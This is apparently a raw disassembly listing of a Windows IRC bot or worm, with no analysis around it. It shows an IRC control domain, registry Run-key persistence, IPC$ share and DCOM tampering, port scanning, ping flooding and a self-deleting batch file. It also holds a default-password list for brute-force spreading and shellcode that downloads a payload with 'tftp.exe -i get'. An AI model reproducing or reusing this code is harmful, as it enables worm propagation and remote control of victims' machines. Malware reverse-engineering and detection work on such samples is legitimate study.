aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4045F0+216o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4045F0:loc_4047F5o
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4045F0+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4045F0+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4045F0+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4045F0+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4045F0+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4045F0+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4045F0+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4045F0+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4045F0:loc_404725o
					; sub_416004+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4045F0:loc_4046F8o
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4045F0+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4045F0+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4045F0+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4045F0+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4045F0+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4045F0+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4045F0+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4045F0+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4045F0+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4045F0+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4045F0+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4045F0+Ao
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40530E+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_4053D3+5o
					; sub_4066DA+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_405455+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4054F9+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40551B+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40551B+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40551B+48o
		align 10h
		dd offset aAdd		; "Add"
		dd offset aAdded	; "Added"
		dd 0
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop		; "Stop"
		dd offset aStopped	; "Stopped"
		dd 1, 41CC94h, 41CC8Ch,	2, 41CC80h, 41CC74h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause		db 'Pause',0
		align 4
aStopped	db 'Stopped',0          ; DATA XREF: .nsp0:0041CC54o
aStop		db 'Stop',0             ; DATA XREF: .nsp0:0041CC50o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .nsp0:0041CC48o
aStart		db 'Start',0            ; DATA XREF: .nsp0:0041CC44o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .nsp0:0041CC3Co
		align 4
aList_0		db 'List',0             ; DATA XREF: .nsp0:0041CC38o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .nsp0:0041CC30o
aDelete_0	db 'Delete',0           ; DATA XREF: .nsp0:0041CC2Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: .nsp0:0041CC24o
		align 4
aAdd		db 'Add',0              ; DATA XREF: .nsp0:0041CC20o
aGuest		db 'Guest',0            ; DATA XREF: .nsp0:0041E098o
		align 10h
aUser_0		db 'User',0             ; DATA XREF: .nsp0:0041E0C8o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: .nsp0:0041E08Co
		align 4
aFlushdnsNotSup	db '[FLUSHDNS]: Not supported by this system.',0
					; DATA XREF: sub_405811:loc_4058D5o
		align 4
aFlushdnsUnable	db '[FLUSHDNS]: Unable to allocation ARP cache.',0
					; DATA XREF: sub_405811:loc_4058B0o
aFlushdnsArpCac	db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_405811:loc_405866o
aFlushdnsErrorG	db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
					; DATA XREF: sub_405811+45o
		align 4
aPingFinishedSe	db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_405985+13Co
		align 4
aPingErrorSendi	db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_405985+6Eo
		align 4
dword_41CDF8	dd 275021Fh, 2070641Fh,	0BB02BB02h ; DATA XREF:	sub_405B11+1C7o
aFinishedSendin	db ' Finished sending packets to %s.',0
		align 4
dword_41CE28	dd 275021Fh, 2070641Fh,	0BB02BB02h ; DATA XREF:	sub_405B11+8Eo
aErrorSendingPi	db ' Error sending pings to %s.',0
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_405D93+119o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_405D93+4Eo
					; sub_405D93+99o
		align 10h
unk_41CE70	db  1Fh			; DATA XREF: sub_405F40:loc_405FCDo
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aProcessListFai	db ' Process list failed.',0
		align 4
unk_41CE94	db  1Fh			; DATA XREF: sub_405F40+86o
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aProcessListCom	db ' Process list completed.',0
		align 4
dword_41CEBC	dd 270021Fh, 636F721Fh,	2BB0220h, 694C20BBh, 6E697473h
					; DATA XREF: sub_405F40+19o
		dd 72702067h, 7365636Fh, 3A736573h, 0
		dd offset dword_41D758
		dd offset off_41D754
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: .nsp0:0041CEECo
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: .nsp0:0041CEE8o
off_41D754	dd offset byte_435249	; DATA XREF: .nsp0:0041CEE4o
dword_41D758	dd 544F42h, 0		; DATA XREF: .nsp0:0041CEE0o
unk_41D760	db  1Fh			; DATA XREF: sub_406055+E9o
		db 2, 72h, 2
		db  1Fh
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  20h
		db 2, 0BBh, 2
aClientConnecti	db ' Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_41D7A8	db  1Fh			; DATA XREF: sub_4061D2+E1o
		db 2, 72h, 2
		db  1Fh
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  20h
		db 2, 0BBh, 2
aClientConnec_0	db ' Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
dword_41D7F0	dd 736E6F63h		; DATA XREF: sub_406777+Fr
		dd 74h,	0
dword_41D7FC	dd 1			; DATA XREF: sub_406777:loc_40679Er
off_41D800	dd offset sub_406441	; DATA XREF: sub_406777+4Ar
aLetter		db 'letter',0
		align 10h
		dd 2, 40649Fh, 706D6F63h, 2 dup(0)
		dd 3, 4064ECh, 6E756F63h, 797274h, 0
		dd 4, 40655Bh, 736Fh, 2	dup(0)
		dd 5, 4065D0h
dword_41D854	dd 69257325h, 0		; DATA XREF: sub_406441+40o
					; .nsp0:0040653Co ...
dword_41D85C	dd 4350h		; DATA XREF: .nsp0:00406509o
dword_41D860	dd 7C7325h		; DATA XREF: .nsp0:0040658Ao
dword_41D864	dd 5D73255Bh, 7Ch	; DATA XREF: .nsp0:00406694o
dword_41D86C	dd 3F3F3Fh		; DATA XREF: .nsp0:loc_40668Bo
					; sub_40B807:loc_40B8CAo
dword_41D870	dd 334B32h		; DATA XREF: .nsp0:00406684o
dword_41D874	dd 5058h		; DATA XREF: .nsp0:00406676o
					; sub_40B807+AAo
dword_41D878	dd 4B32h		; DATA XREF: .nsp0:00406666o
					; sub_40B807+98o
dword_41D87C	dd 454Dh		; DATA XREF: .nsp0:0040664Do
					; sub_40B807+7Eo
dword_41D880	dd 3839h		; DATA XREF: .nsp0:0040663Do
					; sub_40B807+6Co
dword_41D884	dd 544Eh		; DATA XREF: .nsp0:0040662Do
					; sub_40B807+5Ao
dword_41D888	dd 3539h		; DATA XREF: .nsp0:0040661Fo
					; sub_40B807+46o
dword_41D88C	dd 5D64255Bh, 7325h	; DATA XREF: sub_4066DA+3Ao
dword_41D894	dd 5D4D5Bh		; DATA XREF: sub_4066DA+2Co
					; sub_4066DA+51o
unk_41D898	db  1Fh			; DATA XREF: sub_4067E1+92o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aIpSPortDIsOpen	db ' IP: %s Port: %d is open.',0
		align 10h
unk_41D8C0	db  1Fh			; DATA XREF: sub_4068AE+41o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aScanningIpSPor	db ' Scanning IP: %s, Port: %d.',0
		align 4
off_41D8EC	dd offset dword_41D924	; DATA XREF: sub_4069FF:loc_406BB4r
					; sub_4069FF+1C3r ...
dword_41D8F0	dd 0			; DATA XREF: sub_406D25:loc_406EA6r
		dd offset dword_41D91C
		dd 0
		dd offset dword_41D918
		dd offset dword_41D914
		dd offset dword_41D910
		dd offset dword_41D90C
dword_41D90C	dd 5C3A44h		; DATA XREF: .nsp0:0041D908o
dword_41D910	dd 2444h		; DATA XREF: .nsp0:0041D904o
dword_41D914	dd 5C3A43h		; DATA XREF: .nsp0:0041D900o
dword_41D918	dd 2443h		; DATA XREF: .nsp0:0041D8FCo
dword_41D91C	dd 494D4441h, 244Eh	; DATA XREF: .nsp0:0041D8F4o
dword_41D924	dd 24435049h, 0		; DATA XREF: .nsp0:off_41D8ECo
unk_41D92C	db  1Fh			; DATA XREF: sub_4069FF+2E7o
					; sub_406D25+2DDo
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aNetapi32_dllCo	db 'Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_41D960	db  1Fh			; DATA XREF: sub_4069FF+2D1o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aNetworkSharesD	db 'Network shares deleted.',0
unk_41D988	db  1Fh			; DATA XREF: sub_4069FF:loc_406C69o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToDelete	db 'Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_41D9B8	db  1Fh			; DATA XREF: sub_4069FF+263o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aShareSDeleted_	db 'Share ',27h,'%S',27h,' deleted.',0
unk_41D9DC	db  1Fh			; DATA XREF: sub_4069FF:loc_406BD9o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToDele_0	db 'Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_41DA0C	db  1Fh			; DATA XREF: sub_4069FF+1D3o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aShareSDelete_0	db 'Share ',27h,'%s',27h,' deleted.',0
unk_41DA30	db  1Fh			; DATA XREF: sub_4069FF:loc_406B31o
					; sub_406D25:loc_406E53o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aAdvapi32_dllCo	db 'Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_41DA64	db  1Fh			; DATA XREF: sub_4069FF:loc_406B2Ao
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToOpenIp	db 'Failed to open IPC$ Restriction registry key.',0
		align 4
unk_41DAA4	db  1Fh			; DATA XREF: sub_4069FF:loc_406B12o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aRestrictedAcce	db 'Restricted access to the IPC$ Share.',0
		align 4
unk_41DADC	db  1Fh			; DATA XREF: sub_4069FF+10Co
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToRestri	db 'Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_4069FF+EDo
					; sub_406D25+EDo
		align 10h
unk_41DB30	db  1Fh			; DATA XREF: sub_4069FF+91o
					; sub_406D25+91o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToOpenDc	db 'Failed to open DCOM registry key.',0
		align 4
dword_41DB64	dd 273021Fh, 7563651Fh,	2206572h, 20BB02BBh, 4D4F4344h
					; DATA XREF: sub_4069FF:loc_406A72o
		dd 73696420h, 656C6261h, 2E64h
unk_41DB84	db  1Fh			; DATA XREF: sub_4069FF+6Co
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aDisableDcomFai	db 'Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_4069FF+54o
					; sub_406D25+54o
		align 4
word_41DBB8	dw 4Eh			; DATA XREF: sub_4069FF+38r
		align 4
unk_41DBBC	db  1Fh			; DATA XREF: sub_406D25+2C5o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aNetworkSharesA	db 'Network shares added.',0
		align 4
aC		db '%c:\',0             ; DATA XREF: sub_406D25+22Fo
		align 4
aC_0		db '%c$',0              ; DATA XREF: sub_406D25+21Eo
unk_41DBF0	db  1Fh			; DATA XREF: sub_406D25:loc_406ED2o
					; sub_406D25:loc_406F9Do
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToAddSSh	db 'Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_41DC1C	db  1Fh			; DATA XREF: sub_406D25+1A6o
					; sub_406D25+271o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aShareSAdded_	db 'Share ',27h,'%s',27h,' added.',0
		align 10h
unk_41DC40	db  1Fh			; DATA XREF: sub_406D25:loc_406E4Co
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToOpen_0	db 'Failed to open IPC$ restriction registry key.',0
		align 10h
unk_41DC80	db  1Fh			; DATA XREF: sub_406D25:loc_406E34o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aUnrestrictedAc	db 'Unrestricted access to the IPC$ Share.',0
		align 4
unk_41DCB8	db  1Fh			; DATA XREF: sub_406D25+108o
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToUnrest	db 'Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_41DCF8	dd 273021Fh, 7563651Fh,	2206572h, 20BB02BBh, 4D4F4344h
					; DATA XREF: sub_406D25:loc_406D98o
		dd 616E6520h, 64656C62h, 2Eh
unk_41DD18	db  1Fh			; DATA XREF: sub_406D25+6Co
		db 2, 73h, 2
		db  1Fh
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aEnableDcomFail	db 'Enable DCOM failed.',0
word_41DD3C	dw 59h			; DATA XREF: sub_406D25+38r
		align 10h
		jmp	short loc_41DD44
; ---------------------------------------------------------------------------


loc_41DD42:				; CODE XREF: .nsp0:loc_41DD44p
		jmp	short loc_41DD49
; ---------------------------------------------------------------------------


loc_41DD44:				; CODE XREF: .nsp0:0041DD40j
		call	loc_41DD42


loc_41DD49:				; CODE XREF: .nsp0:loc_41DD42j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_41DD50:				; CODE XREF: .nsp0:0041DD55j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_41DD50
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_41DD66:				; CODE XREF: .nsp0:0041DD6Bj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_41DD66
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_41DE08
		jnz	short loc_41DDF4
		retn
; ---------------------------------------------------------------------------


loc_41DDF4:				; CODE XREF: .nsp0:0041DDF1j
					; .nsp0:0041DE01j
		call	near ptr loc_41DDF9+1


loc_41DDF9:				; CODE XREF: .nsp0:loc_41DDF4p
		add	[edx+0], ch
		call	sub_41DE08
		jz	loc_41DDF4
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DE08	proc near		; CODE XREF: .nsp0:0041DDECp
					; .nsp0:0041DDFCp
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_41DE08	endp

; ---------------------------------------------------------------------------
		align 8
dword_41DE38	dd 0F51h		; DATA XREF: sub_407041+3A4r
					; sub_407041+45Ar
dword_41DE3C	dd 1B58h		; DATA XREF: sub_407041+4A4r
dword_41DE40	dd 1AF4h		; DATA XREF: sub_401141+3Ar
					; sub_4077FD+314Fr
dword_41DE44	dd 1			; DATA XREF: sub_4077FD+61Ar
dword_41DE48	dd 1			; DATA XREF: sub_407041+142r
dword_41DE4C	dd 1			; DATA XREF: sub_40551B+Cr
					; sub_407041:loc_407370r
byte_41DE50	db 2Eh			; DATA XREF: sub_4037CD:loc_4037D9r
					; sub_4077FD+683r ...
		align 4
dword_41DE54	dd 0Ah			; DATA XREF: sub_406441+2Br
					; sub_406441+51r ...
dword_41DE58	dd 4			; DATA XREF: sub_40752C+78r
					; sub_4077FD+26Er ...
dword_41DE5C	dd 1			; DATA XREF: sub_40752C+72r
					; sub_4077FD+268r
aNet1		db 'net1',0
		align 4
		db 2 dup(0)
byte_41DE6A	db 1			; DATA XREF: sub_4077FD:loc_40A5DCr
					; sub_4077FD+2DE9o
aNet2		db 'net2',0
		dd 0
		dd 2D610100h, 3368h, 0
		dd 1, 2	dup(0)
a3677		db '3677',0
		align 4
aH1dd3n		db 'h1dd3n',0
		align 4
aH1d3Worm	db 'h1d3-worm',0
		align 4
aKtsFinal	db 'KTS-Final',0        ; DATA XREF: sub_407041+62o
					; sub_4077FD+24A3o ...
		align 4
aHum		db 'Hum',0              ; DATA XREF: sub_4077FD:loc_40B084o
aSock		db 'sock',0             ; DATA XREF: sub_4077FD+39F2o
					; sub_4077FD+3AB5o
		align 10h
aPrv_blackroz_c	db 'prv.blackroz.com',0 ; DATA XREF: sub_407041+399o
					; sub_407041+44Fo
		align 4
aPrv		db '#prv#',0            ; DATA XREF: sub_407041+3B0o
					; sub_407041+461o
		align 4
aPr__		db 'pr..',0             ; DATA XREF: sub_407041+3C7o
					; sub_407041+473o
		align 4
byte_41DEE4	db 70h			; DATA XREF: sub_407041:loc_4074CBr
					; sub_407041+499o
aRv_blackroz_co	db 'rv.blackroz.com',0
		align 4
aPrv_0		db '#prv#',0            ; DATA XREF: sub_407041+4ABo
		align 10h
aPr___0		db 'pr..',0             ; DATA XREF: sub_407041+4BDo
		align 4
byte_41DF08	db 64h			; DATA XREF: sub_401141+68o
					; sub_401141+176o ...
		db 6Fh,	66h, 74h
		dd 61786D72h, 78652E6Fh, 65h
aMicrosoftsSyst	db 'Microsofts Systems Services',0 ; DATA XREF: sub_4031BC+Bo
aWw		db 'Ww|',0              ; DATA XREF: sub_406441+12o
aEncrtpyles_xml	db 'encrtpyles.xml',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_4077FD+3B26o
aPrv_1		db '#prv##',0           ; DATA XREF: sub_4077FD:loc_40965Do
					; sub_4077FD+2FACo ...
		align 4
aPrv_2		db '#prv##',0
		align 4
off_41DF5C	dd offset a@ktw_com	; DATA XREF: sub_4077FD+3A55r
					; "*@KTW.com"
off_41DF60	dd offset aEggdropV1_6_20 ; DATA XREF: sub_4077FD+7F9r
					; "eggdrop v1.6.20"
		dd offset aEggdropV1_6_17 ; "eggdrop v1.6.17"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .nsp0:off_41BD2Co
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4069FF+28o
					; sub_406D25+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4069FF+D4o
					; sub_406D25+D4o
		align 10h
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aLinux	; "linux"
		dd 2 dup(0)
		dd offset byte_4242F0
		dd offset aAdmin	; "admin"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aAdmin_1	; "Admin"
		dd offset aAdmin123	; "admin123"
		dd offset aAdministrado_0 ; "Administrador"
		dd offset aAdministrate_0 ; "Administrateur"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aGuest_0	; "guest"
		dd offset aGuest	; "Guest"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefault_1	; "Default"
; ---------------------------------------------------------------------------
		test	al, 0E2h
		inc	ecx
